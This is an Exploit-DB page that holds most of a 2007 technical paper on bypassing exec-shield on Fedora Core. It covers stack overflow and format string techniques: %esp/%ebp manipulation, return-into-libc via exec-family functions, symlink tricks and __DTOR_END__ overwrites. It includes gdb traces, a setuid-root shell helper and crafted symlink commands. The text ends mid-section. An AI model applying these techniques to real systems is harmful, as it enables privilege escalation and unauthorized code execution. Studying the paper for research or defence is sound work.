- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 13098
- Проверка EDB
-
- Пройдено
- Автор
- XPL017ELZ
- Тип уязвимости
- PAPERS
- Платформа
- MULTIPLE
- CVE
- N/A
- Дата публикации
- 2007-04-13
Код:
===================================================================================================
Title: Advanced exploitation in exec-shield (Fedora Core case study)
Author: "dong-hun you"(Xpl017Elz) in INetCop <[email protected]>
Home: http://x82.inetcop.org & http://www.inetcop.org
===================================================================================================
P.S: I am very worried about miss-translation may occur.
So, I have tried to explain the ideas with picture and graph than words.
Some of these contents were published on POC 2006 held in Korea.
I have put the old concept and new one altogether for coherence.
So, Please be generous about the overlap. All these codes and exploit
are tested on Fedora Core system.
--[ 1 - Intro
1 - Intro
2 - Brief features of Fedora Core system (gcc + glibc + exec-shield)
2.1 - non-executable randomization stack, malloc heap, randomization library
2.2 - Addressing system under 16mb (NULL pointer dereference protection)
2.3 - PIE technology (changed gcc)
2.4 - Changed method of accessing function parameter (changed glibc)
3 - Stack based overflow exploitation on exec-shield environment
3.1 - Exploit by moving %esp, %ebp register
3.2 - Remote exploit by moving %esp register
3.3 - Using exec family function and symlink
3.4 - Using exec family function and environment variables
3.5 - Exploit on classic shellcode library area
3.6 - Example code
4 - How to do format string exploit on exec-shield environment
4.1 - Remote attack by using do_system() function
4.2 - Local exploit by moving %esp, %ebp register
4.3 - Using __do_global_dtors_aux() function, setuid() function and do_system() function
4.4 - Using __do_global_dtors_aux() function and exec family function
4.5 - Changing __DTOR_END__ location (overwriting p section)
4.6 - Format string in classic shellcode library area
4.7 - Example code
5 - How to exploit since Fedora Core 5 system
5.1 - Changes on main() function prolog and epilog
5.2 - Exploit by using off-by-one exploit with %ecx register
5.3 - Overflow exploit overwriting __DTOR_END__ section
5.4 - Overflow exploit overwriting GLOBAL OFFESET TABLE
5.5 - Example code
6 - Appendix
6.1 - ret(pop %eip) remote stack overflow exploit
6.2 - ret(pop %eip) + symlink local stack overflow exploit
6.3 - ret(pop %eip) + environment local stack overflow exploit
6.3.1 - execl() local exploit
6.3.2 - execle() local exploit
6.3.3 - execlp() local exploit
6.3.4 - execv() local exploit
6.3.5 - execvp() local exploit
6.3.6 - execve() local exploit
6.4 - library shellcode stack overflow exploit
6.4.1 - Test exploit with strcpy function example
6.4.2 - Test exploit with sprintf function example
6.5 - do_system() remote format string exploit
6.6 - p section overwrite local format string exploit
6.7 - __do_global_dtors_aux() + exec family local format string exploit
6.8 - library overwrite local format string exploit
6.9 - %ecx off-by-one exploit and the test exploit
6.10 - string copy plt + do_system() __DTOR_END__ overwrite remote stack overflow exploit
6.11 - string copy plt + execve() __DTOR_END__ overwrite local stack overflow exploit
6.12 - string copy plt + execve() GOT overwrite local stack overflow exploit
7 - Reference
I had the first contact with Fedora Core exe-shield system from a hacking
competition 2 years ago. Since then, I had studied the system for a month and
I published it on POC 2006(Power Of Community) conference held in Korea.
What I did and studied was application of existing return-into-libc technique
which had been studied by many excellent hackers to latest system.
This paper contains very simple things and you probably know many of them.
This paper can be separated into 3 parts.
The first section is about trying stack overflow attack on exec-shield
environment. The second section is about trying format string attack on
exec-shield by using some features of some functions. And we will discuss
some attack technique for changed prolog and epilog and both remote and local
attack skills since Fedora Core 5 system. Fedora Core system has exec-shield
kernel by default, so I , mostly , will talk about Fedora Core system. As a
matter of course, those technique can be applied to CentOS , White box linux
and Redhat Enterprise with little change. I strongly recommend you to read
references before reading this paper.
--[ 2 - Brief features of Fedora Core system (gcc + glibc + exec-shield)
Fedora Core is a project run by Redhat and it provides technical
background. Fedora Core (F/C since now), unlike old RedHat OS, has stack and
heap hacking prevent system called exec-shield. Exec-shield makes its
specialty of blocking all the existing attacks concern stack, buffer,
function pointer overflow and overwriting data structure or injecting code
on that data structure. You can find more by looking ANNOUNCE-exec-shield
on Reference 7.16
----[ 2.1 - non-executable randomization stack, malloc heap, randomization library
Stack and data area, heap area allocated by malloc() function are now
non-executable, and it makes classic shellcode useless. Area that library is
mapped ,merely, has execute privilege. But even this will be re-mapped on
every single execution. This randomizing algorithm ,unlike that of Redhat
Linux 9.0, is very unpredictable. It looks very similiar to Openwall Project
(7.12) of Solar Designer and PaX kernel system (7.13)
----[ 2.2 - Addressing system under 16mb (NULL pointer dereference protection)
Kernel re-maps all PROT_EXEC mapping in ascii-armor area and make its
address system less than 16mb. This idea came from the fact that hackers use
4byte library address when they make overflow attempt on old 32bit system.
By doing this, memory address now has null in the address it means many
memory related hacking technique such as return-into-libc(7.2) are now hard
to be used. Sometimes, there is a chance to enter null into overflowed
buffer easily. But on this paper, I am not going to talk about this.
In addition, recent changes on glibc make some library function address end
with null or 0x20.
----[ 2.3 - PIE technology (changed gcc)
PIE stands for Position Independent Executables is a similar concept with
old PIC. This is a way to protect application from being exploited by attacks
such as buffer overflow.
----[ 2.4 - Changed method of accessing function parameter (changed glibc)
F/C 3 has glibc 2.3.3 on it. This glibc handles the commands that passed
into system() and exec family function with %ebp register. With the stack
overflow happening, hacker can manipulate %ebp register, so there is still
a good chance to indicate certain command to execute.
fedora core 3 glibc 2.3.3 system():
<system+17>: mov 0x8(%ebp),%esi ; refers %ebp + 8
fedora core 4 glibc 2.3.5 system():
<system+14>: mov 0x10(%esp),%edi ; refers %esp + 16
But since glibe 2.3.5 on F/C 4, it refers %esp register that a user can not
directly manipulate. glibc-2.x.x/posix/Makefile gives you a great
explanation about why did it happen.
-bash-3.00$ pwd
/tmp/glibc-2.3.5/posix
-bash-3.00$ cat Makefile |grep fomit
CFLAGS-wordexp.os = -fomit-frame-pointer
CFLAGS-spawn.os = -fomit-frame-pointer
CFLAGS-spawnp.os = -fomit-frame-pointer
CFLAGS-spawni.os = -fomit-frame-pointer
CFLAGS-execve.os = -fomit-frame-pointer
CFLAGS-fexecve.os = -fomit-frame-pointer
CFLAGS-execv.os = -fomit-frame-pointer
CFLAGS-execle.os = -fomit-frame-pointer
CFLAGS-execl.os = -fomit-frame-pointer
CFLAGS-execvp.os = -fomit-frame-pointer
CFLAGS-execlp.os = -fomit-frame-pointer
-bash-3.00$
you can see that library structure has been changed by -fomit-frame-pointer
option. The option is also applied to exec family functions as well.
fedora core 3 glibc 2.3.3 execve():
<execve+9>: mov 0xc(%ebp),%ecx ; second argument of execve()
<execve+27>: mov 0x10(%ebp),%edx ; third argumet of execve()
<execve+30>: mov 0x8(%ebp),%edi ; first argument of execve()
fedora core 4 glibc 2.3.5 execve():
<execve+13>: mov 0xc(%esp),%edi ; first argument of execve()
<execve+17>: mov 0x10(%esp),%ecx ; second argument of execve()
<execve+21>: mov 0x14(%esp),%edx ; third argument of execve()
execve() function in old glibc (2.3.3) refers command argument from memory
of %ebp + 0x08, but in last version of glibe (2.3.5), it refers %esp + 0x0c.
--[ 3 - Stack based overflow exploitation on exec-shield environment
Now, we confront with some obstacles. First, the library function has NULL
within its address. Second, we need to fight some glibc functions that are
compile with -fomit-frame-pointer option under exec-shield which is
non-executable on both stack and heap. Fortunately, it is not the worst
situation. As a matter of fact, we can tell whether the attack will be
a piece of cake or not, only after analyzing structure of target program.
Let me introduce some of the possible hacking technique.
----[ 3.1 - Exploit by moving %esp, %ebp register
Below is the easiest and the most common way to attack system with
-fomit-frame-pointer option compiled glibc. Before going into the attack
technique, I feel like to tell you "how to move %esp register by 4bytes".
ret ; pop %eip
Generally, it is very common to pop %eip register from stack to return to
previous function. it is called epilog process and this process finally
moves %esp register by 4bytes.
<- stack grows this way address grows this way ->
... 10 14 18 22 (return address moves by 4bytes)
|...--------------------------|------|------|------|-----------------------------...|
[ret] [ret] [ret] [XXXX]
| ^ | ^ | ^
| | | | | |
+----+ +----+ +-----+ (%esp register moves by 4bytes)
%esp+4 %esp+4 %esp+4 (stack gets smaller by pop)
With this technique, we can use some of the contents in stack to attack the
system and indicate a certain location of stack to be a argument of function
that is called only for once. In addition, we can move the stack pointer by
greater than 4bytes.
fedora core 5 glibc 2.4, gcc 4.1.0-3:
<__libc_csu_init>:
...
add $0x1c,%esp
pop %ebx
pop %esi
pop %edi
pop %ebp
ret
<__do_global_ctors_aux>:
...
add $0x4,%esp
pop %ebx
pop %ebp
ret
glibc since F/C 5 skips the epilog process with some functions which exist
in binary by default. This helps us to move %esp register by as many bytes
as we want. Only with this condition, it is possible to demonstrate the
technique of Phrack 58-4 (by Nergal 7.7). Especially, by using "plt" string
copy function, it is also possible to call same function for many times and
by calling it appropriately we can finally execute shellcode (Phrack 58-4,
3.2 contains this vulnerability). We are going to talk about this at
chapter 5.3.
<- stack grows this way address grows this way ->
+-----------+------+------------+------------+-----------+------+------------+-----+
| func1 plt | eplg | func1_arg1 | func1_arg2 | func2 plt | eplg | func2_arg1 | ... |
+-----------+------+------------+------------+-----------+------+------------+-----+
^ ^
| |
+-------------------------------------------+
(As many bytes as %esp is added or popped)
We also can manipulate %esp register in directly by doing leave as if we can
manipulate %esp register well.
----[ 3.2 - Remote exploit by moving %esp register
I want to tell you about remote attack by moving %esp register on F/C 3 as
an example. It only happens on a special circumstance but it still tells us
that the attack by moving %esp register is possible.
First, F/C 3 has glibc 2.3.3 and glibc 2.3.3 has __libc_start_main() function
that calls _setjmp() gives us a very nice attack example.
fedora core 3 glibc 2.3.3, gcc 3.4.2-6.fc3:
<__libc_start_main+160>: call 0xf6edf720 <_setjmp>
<_setjmp+0>: xor %eax,%eax
<_setjmp+2>: mov 0x4(%esp),%edx
<_setjmp+6>: mov %ebx,0x0(%edx)
<_setjmp+9>: mov %esi,0x4(%edx)
<_setjmp+12>: mov %edi,0x8(%edx) ; IMPORTANT!
<_setjmp+15>: lea 0x4(%esp),%ecx ; breakpoint
<_setjmp+19>: mov %ecx,0x10(%edx)
<_setjmp+22>: mov 0x0(%esp),%ecx
<_setjmp+26>: mov %ecx,0x14(%edx)
<_setjmp+29>: mov %ebp,0xc(%edx)
<_setjmp+32>: mov %eax,0x18(%edx)
<_setjmp+35>: ret
<_setjmp+36>: nop
...
Breakpoint 1, 0x00a2172c in _setjmp () from /lib/tls/libc.so.6
(gdb) x $edi
0xfefffb10: 0x00b1cff4
(gdb) x $edx
0xfefffb10: 0x00b1cff4
(gdb) x $edx+8
0xfefffb18: 0xfefffb10 ; 8bytes lesser
(gdb)
Through the process ,%edx + 8 has memory address that smaller than itself by
8bytes. Now, what if we move the %esp register to old _setjmp() %edx register
and then call system() function?
<-- stack grows this way address grows this way -->
+------------+----------+------------+------------+------------+------------+-----------+
| buf | %ebp | ret | ret+4 | ret+8 | ret+12 | ret+20 |
+------------+----------+------------+------------+------------+------------+-----------+
... xxxxx ... 0x70707070 main()'s ret main()'s ret main()'s ret main()'s ret system();
Below is the process
(1) After overwriting %ebp with 0x70707070 for test,
move %esp to old _setjmp() %edx by repeating ret (pop %eip)
(2) Calling system() function at the position of old _setjmp() %edx
register saves old %ebp register to stack by prolog process
(3) After prolog process, now %ebp of system() function points 0x70707070
* Stack status before attack:
fedora core 3 glibc 2.3.3, gcc 3.4.2-6.fc3:
<_setjmp+12>: mov %edi,0x8(%edx)
0xfef16bf0: 0xf6fdaff4 0x00000000 0xfef16bf0
~~~~~~~~~~ ~~~~~~~~~~
| |
+--> old _setjmp() %edx +--> old _setjmp() %edx+8
* Stack status after attack:
fedora core 3 glibc 2.3.3, gcc 3.4.2-6.fc3:
<system+0>: push %ebp ; %ebp has 0x70707070.
<system+1>: mov %esp,%ebp ; recent %ebp becomes pushed old %ebp
0xfef16bf0: 0x70707070 0x00000000 0xfef16bf0
~~~~~~~~~~ ~~~~~~~~~~
| |
+--> system() %ebp +--> system() function argument
system() function refers %ebp+8 as a argument ,so above will try to execute
0x70707070. Thus we can use strings like "sh" (0x6873) to execute a shell.
Like this case, you need to find out useful values on stack by repeating ret
command. This is a tiny example of exploit using structure of a program.
There may be a lot more possibilities to exploit when it comes to real
applications.
----[ 3.3 - Using exec family function and symlink
By moving %esp, we can search stack for a right value for a function
argument. We should find three values from stack for execve(), because
execve() function refers arguments by %esp register address. You can,
of course, use execv() that uses only 2 arguments.
* Stack status after executing exploit:
fedora core 4 glibc 2.3.5, gcc 4.0.0-8:
<execve+0>: push %edi ; prolog
<execve+1>: push %ebx
<execve+13>: mov 0xc(%esp),%edi
<execve+17>: mov 0x10(%esp),%ecx
<execve+21>: mov 0x14(%esp),%edx
<- stack grows this way address grows this way ->
+-------+---+---+---------------------------------------------------------------+
| buf |ebp|eip| buffer |
+-----------+---+---+---+---+---+---+---+---+---------------+----+----+----+----+
|XXXXXXXX...|ret|ret|ret|ret|ret|ret|ret|ret|execve()'s addr|XXXX|arg1|arg2|arg3|
+-----------+---+---+---+---+---+---+---+---+---------------+----+----+----+----+
^
+---------------------------->
(flow)
We can see getting first argument from %esp+0x0c after prolog process of
execve() function. After 9 times of moving %esp register by ret, I could find
appropriate command for the first argument of execve() function when I tested
on F/C 4.
* Stack status after 9 times of repeating ret code and calling execve() function:
fedora core 4 glibc 2.3.5, gcc 4.0.0-8:
(gdb) br *execve+13
Breakpoint 2 at 0x19e1b9
(gdb) c
Continuing.
Breakpoint 2, 0x0019e1b9 in execve () from /lib/libc.so.6
(gdb) x/x $esp+0x0c
0xbf8b42b8: 0x080483b4 ; fist argument of execve() function ($esp + 0x0c)
(gdb)
0xbf8b42bc: 0xbf8b42e8 ; second argument of execve() function ($esp + 0x10)
(gdb)
0xbf8b42c0: 0xbf8b4290 ; third argument of execve() function ($esp + 0x14)
(gdb) x 0x080483b4
0x80483b4 <__libc_csu_init>: 0x57e58955 ; fist argument of execve() function
(gdb)
0x80483b8 <__libc_csu_init+4>: 0xec835356
(gdb)
0x80483bc <__libc_csu_init+8>: 0x0000e80c
(gdb) x 0xbf8b42e8
0xbf8b42e8: 0x00000000 ; second argument of execve() function
(gdb) x 0xbf8b4290
0xbf8b4290: 0x08048296 ; third argument of execve() function
(gdb)
0xbf8b4294: 0x08048296
(gdb)
0xbf8b4298: 0x08048296
(gdb)
It shows that %esp has moved till the starting address of __libc_csu_init()
function. The address values stored in that point is stored in stack before
main(). Now that we got a address value to execute as a command, all we need
to do now is to link with a program that we want to execute for privilege
elevation through syslink. This syslink technique came from Lamagra (7.4)
[x82@localhost tmp]$ cat sh.c
int main()
{
setuid(0);
setgid(0);
system("/bin/sh");
}
[x82@localhost tmp]$ gcc -o sh sh.c
[x82@localhost tmp]$ ln -s sh `printf "\x55\x89\xe5\x57\x56\x53\x83\xec\x0c\xe8"`
We can link __libc_csu_init() function code itself as a execution command.
This will be quite effective on real application exploit. You can find more
in exploit code example.
----[ 3.4 - Using exec family function and environment variables
I have thought about this technique when I tried local man exploit. This
seems quite effective under certain circumstance that a hacker can put
ret (pop %eip) command as many as he want. If there were a vulnerability on
a local variable located in a stack frame near argument pointer,
environment variable pointer, that would be the best condition for this skill
to work.
argument pointer and environment variable pointer is made of array of
pointers that point each datum. There is, always, Null at the end of the
pointer and we can judge whether it is the end of pointer by NULL.
^
| Stack grows this way
...
+---------------------+
| argument0 pointer |: argument starts here.
+---------------------+
| argument1 pointer |
+---------------------+
| ... |
+---------------------+
| argument(n) pointer |
+---------------------+
| null (0x00000000) |: argument ends here.
+---------------------+
| environ0 pointer |: environment starts here.
+---------------------+
| environ1 pointer |
+---------------------+
| ... |
+---------------------+
| environ(n) pointer |
+---------------------+
| null (0x00000000) |: environment ends here.
+---------------------+
...
| Address grows this way
V
I want you to read FC_local_environ_bof.txt file on reference 7.18 for base
knowledge. First we need to call some functions whose arguments can be set
as environment variables like execve() and then assign each argument in
environment variables. Then, by repeating ret code, move %esp register
to the environment variable pointer ,and ,finally, call exec family function.
Attack flow will be like below whatever execv family function you choose.
for me, I chose execve() function.
fedora core 6 glibc 2.5, gcc 4.1.1-30:
Environment variable:
+------------------+
| "./sh" |: will be the first argument of execve()
+------------------+
| '\0' |: will be the second argument of execve()
+------------------+
| '\0' |: will be the third argument of execve()
+------------------+
| '\0' |
+------------------+
| '\0' |
+------------------+
| '\0' |
+------------------+
Attack code:
All we need to do is set execve() function 8byte prior to environment
argument pointer. By doing so, the "./sh", first environment variable that
we entered, will be mistaken as the first argument of execve() when execve
is called . It happens because computer refers the address of %esp + 4byte
as argument.
^
| stack grows this way
...
+------------------+
| buffer |: local variable which will be overflowed
+------------------+
| ret(pop %eip) |: move %esp by 4bytes
+------------------+
| ret(pop %eip) |
+------------------+
| ret(pop %eip) |
+------------------+
| ret(pop %eip) |
+------------------+
| ... |
+------------------+
| execve() func |: address of environment variation pointer - 8byte
+------------------+
| null(0x00000000) |: end of argument pointer
+------------------+
| environ0 pointer |: environment variable "./sh" (it will be the first argument of execve() function)
+------------------+
| environ1 pointer |: environment variable NULL pointer (it will be the second argument of execve() function)
+------------------+
| environ2 pointer |: environment variable NULL pointer (it will be the third argument of execve() function)
+------------------+
...
| address grows this way
V
It is very reasonable to put null code in environment variable for 5 times.
the second environment variable pointer after the first one "./sh" should
have 4bytes of null (0x00000000). That's why I entered 4bytes of null.
And the third environment variable pointer also should have 4bytes of null
code. So, I added 1 more byte of null to satisfy this condition. (You can
use not only the environment variable pointer but also argument pointer)
Debugging result for fedora core 6 glibc 2.5, gcc 4.1.1-30, exploit:
[root@localhost exec]# gdb 0x82-x_execve -q
...
(gdb) r
...
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) x/7x $esp
0xbf9fde80: 0xbf9fffeb 0xbf9ffff0 0xbf9ffff1 0xbf9ffff2
0xbf9fde90: 0xbf9ffff3 0xbf9ffff4 0x00000000
(gdb) x/s 0xbf9fffeb
0xbf9fffeb: "./sh" <=== the first argument of execve()
(gdb) x/x 0xbf9ffff0
0xbf9ffff0: 0x00000000 <=== the second argument of execve()
(gdb) x/x 0xbf9ffff1
0xbf9ffff1: 0x00000000 <=== the third argument of execve()
(gdb)
Arguments will be pushed like above when execve() is called. Both second and
third arguments points null code. You can also input null code directly to
both arguments by using argument pointer.
execve("./sh",0xbf9ffff0,0xbf9ffff1); or execve("./sh",0x00000000,0x00000000);
Please see example exploit code for more.
----[ 3.5 - Exploit on classic shellcode library area
Ret code and environment variable pointers are also used for this technique.
There is nothing new about this technique, but it still means something for
it can execute a classic shellcode. First, we should remember that the
classic shellcode can be run in library.
[x82@localhost ~]$ cat /proc/self/maps | grep rwxp
0048a000-0048c000 rwxp 00122000 fd:00 211398 /lib/tls/libc-2.3.3.so
0048c000-0048e000 rwxp 0048c000 00:00 0
00a93000-00a94000 rwxp 00a93000 00:00 0
00c68000-00c69000 rwxp 00015000 fd:00 211343 /lib/ld-2.3.3.so
0804c000-0804d000 rwxp 00003000 fd:00 65057 /bin/cat
0804d000-0806e000 rwxp 0804d000 00:00 0
[x82@localhost ~]$
Attack process:
(1) Declare shellcode in environment variable through execve() function.
(2) Remember not to use copy function address under 16 mb, use plt copy
function code. Thus, we can make the first argument of copy function.
(2) Repeat ret code to make the shellcode environment variable pointer
declared at step 1 the second argument of copy function.
(4) Put ret code again right after calling copy function. By doing so,
The first argument of copy function, shellcode, will be called.
(5) You should input executable library address into the first argument
of copy function. We should be thankful that library address is located
within 16mb (3byte)
* fedora core 4 glibc 2.3.5, gcc 4.0.0-8:
Structure of environment variable:
+-----------+
| shellcode |
+-----------+
Making attack code:
<- Stack grows this way Address grows this way ->
+-------+-----+-----+-----+-----+-----+-----+----------------------+-----+--------------+
| buf | ret | ret | ret | ... | ret | ret | string copy func plt | ret | library addr |
+-------+-----+-----+-----+-----+-----+-----+----------------------+-----+--------------+
Put shellcode into empty library space and do ret code. Then, library address
that contains shellcode will be popped into %eip and we can finally execute
a shell.
To call copy function many times, we can try %esp moving technique that
mentioned at chapter 3.1. Because this skill can move stack pointer more than
4bytes, we can try other attack technique. You should check chapter 5.3 and 5.4
for more.
----[ 3.6 - Example code
I have told some of attack technique that uses %esp register movement.
Appendix codes at chapter 6 will prove those 4 technique already been told.
0x82-remote_ret.sh script at chapter 6.1 is about the remote attack code
we study at chapter 3.2. And 0x82-break_FC4.c code at 6.2 is about exec
family function + symlink technique at chapter 3.4. 0x82-x_execl.c,
0x82-x_execle.c, 0x82-x_execlp.c, 0x82-x_execv.c, 0x82-x_execvp.c,
0x82-x_execve.c those codes are for the exec family + environment variable
attack at 3.4. Finally, 0x82-x_strcpy.c, 0x82-x_sprintf.c for the shellcode
attack mentioned at 6.4.
--[ 4 - How to do format string exploit on exec-shield environment
Unlike overflow technique, moving on stack is not easy on format string
attack. So, we will take advantage of some special functions to attack.
----[ 4.1 - Remote attack by using do_system() function
I have found that system() function calls do_system() since F/C glibc
2.3.3. Old system() function called execve() internally, but changed system()
input command argument into %esi register and copy it to %eax register.
Finally, make it an argument of do_system() function.
fedora core 3 glibc 2.3.3, gcc 3.4.2-6.fc3:
<system+17>: mov 0x8(%ebp),%esi ; insert the value at %ebp+8 into %esi register
<system+46>: mov %esi,%eax ; insert %esi regiseter into %eax register
<system+62>: jmp 0x77d320 <do_system> ; call do_system()
do_system() receives command argument through %eax register and makes
"sh -c command" then passes it to execve(). In short, do_system() doesn't use
frame pointer and stack pointer when it receives an argument. It only refers
%eax register. That's why we can take advantage of do_system(). What would
happen if we call do_system() inside of __do_global_dtors_aux() function?
fedora core 6 glibc 2.5, gcc 4.1.1-30:
<__do_global_dtors_aux+0>: push %ebp
<__do_global_dtors_aux+1>: mov %esp,%ebp
<__do_global_dtors_aux+3>: sub $0x8,%esp
<__do_global_dtors_aux+6>: cmpb $0x0,0x80495bc
<__do_global_dtors_aux+13>: je 0x804837b <__do_global_dtors_aux+27>
<__do_global_dtors_aux+15>: jmp 0x804838d <__do_global_dtors_aux+45>
<__do_global_dtors_aux+17>: add $0x4,%eax (4) change %eax into __DTOR_END__+4
<__do_global_dtors_aux+20>: mov %eax,0x80495b8
<__do_global_dtors_aux+25>: call *%edx (5) call __DTOR_END__
<__do_global_dtors_aux+27>: mov 0x80495b8,%eax (1) change %eax into __DTOR_END__
<__do_global_dtors_aux+32>: mov (%eax),%edx (2) %edx has the valeu of __DTOR_END__
<__do_global_dtors_aux+34>: test %edx,%edx (3) go back if %edx is not NULL
<__do_global_dtors_aux+36>: jne 0x8048371 <__do_global_dtors_aux+17>
<__do_global_dtors_aux+38>: movb $0x1,0x80495bc
<__do_global_dtors_aux+45>: leave
<__do_global_dtors_aux+46>: ret
<__do_global_dtors_aux+47>: nop
You can find %eax register become __DTOR_END__ +4. After the %eax register
become __DTOR_END__, %edx has the value of __DTOR_END__. If %edx register is
not NULL, %eax register would move 4bytes (__DTOR_END__+4) and call *%edx.
It continues to add 4bytes and call each function saved in __DTOR_END__ section.
If __DTOR_END__ section is overwritten with do_system() address, %eax register
would be 4byte more than __DTOR_END__. Let's debug after overwriting
__DTOR_END__ section with do_system() to check.
Breakpoint 1, 0x0077d320 in do_system () from /lib/tls/libc.so.6
(gdb) x/x 0x080494e4
0x80494e4 <__DTOR_END__>: 0x0077d320 ; overwrite __DTOR_END__ with do_system() function address
(gdb) i r
eax 0x80494e8 134517992 ; address of %eax register
ecx 0x86d378 8835960
edx 0x77d320 7852832
ebx 0x80495b8 134518200
esp 0xfeed97fc 0xfeed97fc
ebp 0xfeed9808 0xfeed9808
esi 0xffffffff -1
edi 0x80494d8 134517976
eip 0x77d320 0x77d320
eflags 0x206 518
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/x $eax
0x80494e8 <__JCR_LIST__>: 0x00000001
(gdb)
We can see %eax is 4bytes over __DTOR_END__. This will open a new shell if
we write "sh" string on %eax register. There is a good chance to execute
shell without stack on remote. You can see more on exploit code example.
----[ 4.2 - Local exploit by moving %esp, %ebp register
Although It is very restricted than former technique, we can still move
%esp and %ebp by format string technique by making frames many times on
stack. I thought I could move %esp, %ebp register by calling a function
continually. But general function that does prolog and epilog would not mean
anything. So, I decided to try __do_global_dtor_aux(). First of all, we need
to make a frame.
<__do_global_dtors_aux+25>: call *%edx ; push %eip
<__do_global_dtors_aux+0>: push %ebp
<__do_global_dtors_aux+1>: mov %esp,%ebp
<__do_global_dtors_aux+3>: sub $0x8,%esp
<- Stack grows this way Address grows this way ->
+-------------+------+------++-------------+------+------++-------------+------+------+
| 8byte | %ebp | %eip || 8byte | %ebp | %eip || 8byte | %ebp | %eip |
+-------------+------+------++-------------+------+------++-------------+------+------+
^ ^^ ^^ ^
| || || |
+---------- 16byte ---------++---------- 16byte ---------++---------- 16byte ---------+
There will be 16bytes of space when you repeat the process above. It is
possible to raise stack without removing frame because of the 25th line in
__do_global_dtors_aux() that calls desired function by call *%edx syntax.
We can move %esp and %ebp register indirectly by using
__do_global_dtors_aux(). In addition, _fini() function that calls
__do_global_dtors_aux() also can move stack pointer.
fedora core 6 glibc 2.5, gcc 4.1.1-30:
<_fini+0>: push %ebp
<_fini+1>: mov %esp,%ebp
<_fini+3>: push %ebx
<_fini+4>: sub $0x4,%esp
<_fini+7>: call 0x8048444 <_fini+12>
<_fini+12>: pop %ebx
<_fini+13>: add $0x1100,%ebx
<_fini+19>: call 0x8048300 <__do_global_dtors_aux>
<_fini+24>: pop %ecx
<_fini+25>: pop %ebx
<_fini+26>: leave
<_fini+27>: ret
It can adjusted depends on target program architecture.
----[ 4.3 - Using __do_global_dtors_aux() function, setuid() function and do_system() function
We can indicate function argument based on chapter 4.2 even if it is
restricted. But the do_system() function technique is still not good enough
for a local exploit. That's why we should use setuid() function with it.
setuid() refers its argument from %ebp+8. All we need to do is find some
address that %ebp+8 is NULL and call the function.
In my case on F/C 6, I could make the argument of setuid() 0(null) when I
called __do_global_dtors_aux() function once again. Now, all we need to do is
calling do_system() function and set "sh" string properly. then, we will get
a root shell.
...
+-------------------------+
| __do_global_dtors_aux() |: calling __do_global_dtors_aux()
+-------------------------+
| setuid() |: calling setuid()
+-------------------------+
| do_system() |: calling do_system()
+-------------------------+
| "sh" |
+-------------------------+
...
Stack based overflow that uses ret(pop %eip) code and execve() function will
move %esp register by 4bytes. (address increases and stack decreases.) But
the technique we are talking about is opposite to that. It moves %esp and
%ebp by 16bytes (address decreases and stack increase.) We can find right
value from stack by increasing or decreasing registers.
----[ 4.4 - Using __do_global_dtors_aux() function and exec family function
Attack technique that I mentioned at chapter 4.3 has a problem that it is
useful only to get root uid. To solve this problem, most of local overflow
technique uses exec family function. On this chapter, I will show you local
format string technique that uses exec family function.
I will use little bit of __do_global_dtors_aux() function to launch an attack.
First, I made a frame on stack by calling __do_global_dtors_aux() function.
If you don't declare any local variable and only re-execute the call code in
__do_global_dtors_aux(), it would store the %eip of recent
__do_global_dtors_aux() in stack. Now, you can use stored %eip as the first
argument of execv() when you just call execv() function. (we use execv()
function because this function needs only 2 arguments) Rest of attack process
is same as exec family function + symlink attack.
Attack process:
(1) Overwrite __DTOR_END__+0 address with __do_global_dtors_aux() function
address.
(2) Overwrite __DTOR_END__+4 address with __do_global_dtors_aux()+27
address.
(3) Overwrite __DTOR_END__+8 address with execv() function address.
(4) symlink with the program that executes %eip of __do_global_dtors_aux()
points.
Stack will be like this, if you allocate local variables and execute
call *%edx syntax properly.
^
| Stack grows this way
...
+----------------------------------------+
| __do_global_dtors_aux() return address |: 4byte
+----------------------------------------+
| __do_global_dtors_aux() return address |: 4byte (will be the first argument of execv())
+----------------------------------------+
| 0x00000000 |: 8byte (will be the second argument of execv())
+----------------------------------------+
| 0x00000001 |
+----------------------------------------+
| __do_global_dtors_aux() %ebp |: 4byte
+----------------------------------------+
...
| Address grows this way
V
To make stack structure like that, the call command in
__do_global_dtors_aux+25 has to be executed correctly. To execute
call command correctly, we need to start from __do_global_dtors_aux+27 where
right after call *%edx command is done. You should look at 27th code in
__do_global_dtors_aux in chapter 4.1.
<__do_global_dtors_aux+27>: mov 0x80495b4,%eax
(Starting procedure to call *%edx register)
Those are the value of each argument after calling execve() fucntion inside
of execv() function.
Breakpoint 3, 0x0019dc28 in execve () from /lib/libc.so.6
(gdb) x/x $ebx
0x804834b <__do_global_dtors_aux+27>: 0x0495b4a1 ; first argumet of execve()
(gdb) x/x $ecx
0x0: Cannot access memory at address 0x0 ; second argument of execve()
(gdb) x/x $edx
0xbfdbd040: 0xbfdbec04 ; third argument of execve()
(gdb) x 0x0804834b
0x804834b <__do_global_dtors_aux+27>: 0x0495b4a1 ; entire code that used as the first argument execv()
(gdb)
0x804834f <__do_global_dtors_aux+31>: 0x85108b08
(gdb)
0x8048353 <__do_global_dtors_aux+35>: 0xc6eb75d2
(gdb)
0x8048357 <__do_global_dtors_aux+39>: 0x0495b805
(gdb)
0x804835b <__do_global_dtors_aux+43>: 0xc3c90108
(gdb)
0x804835f <__do_global_dtors_aux+47>: 0xe5895590
(gdb)
0x8048363 <frame_dummy+3>: 0xa108ec83
(gdb)
0x8048367 <frame_dummy+7>: 0x080494c4
(gdb)
0x804836b <frame_dummy+11>: 0x1274c085
(gdb)
0x804836f <frame_dummy+15>: 0x000000b8
(gdb)
From __do_global_dtors_aux+27th line to frame_dummy+15th line will be the
first argument of exev() function. After this, rest of course is same as
symlink attack mentioned at chapter 3.3.
sh-3.1# cat > shell.c
int main()
{
setuid(0);
setgid(0);
execl("/bin/bash","bash",0);
}
sh-3.1# gcc -o shell shell.c
sh-3.1# ln -s shell `printf "\xa1\xb4\x95\x04\x08\x8b\x10\x85\xd2\x75\xeb\xc6\x05\xb8\x95\x04\x08
\x01\xc9\xc3\x90\x55\x89\xe5\x83\xec\x08\xa1\xc4\x94\x04\x08\x85\xc0\x74\x12\xb8"`
We can symlink _do_system_dtors_aux() + frame_dummy() function code that we
looked through gdb as a command. This technique is also highly useful when
you try to exploit real application. More details are in the example code.
----[ 4.5 - Changing __DTOR_END__ location (overwriting p section)
There is a problem when you call __do_global_dtors_aux() function mentioned
at 4.2. It can overwrite some memory areas that hold critical information
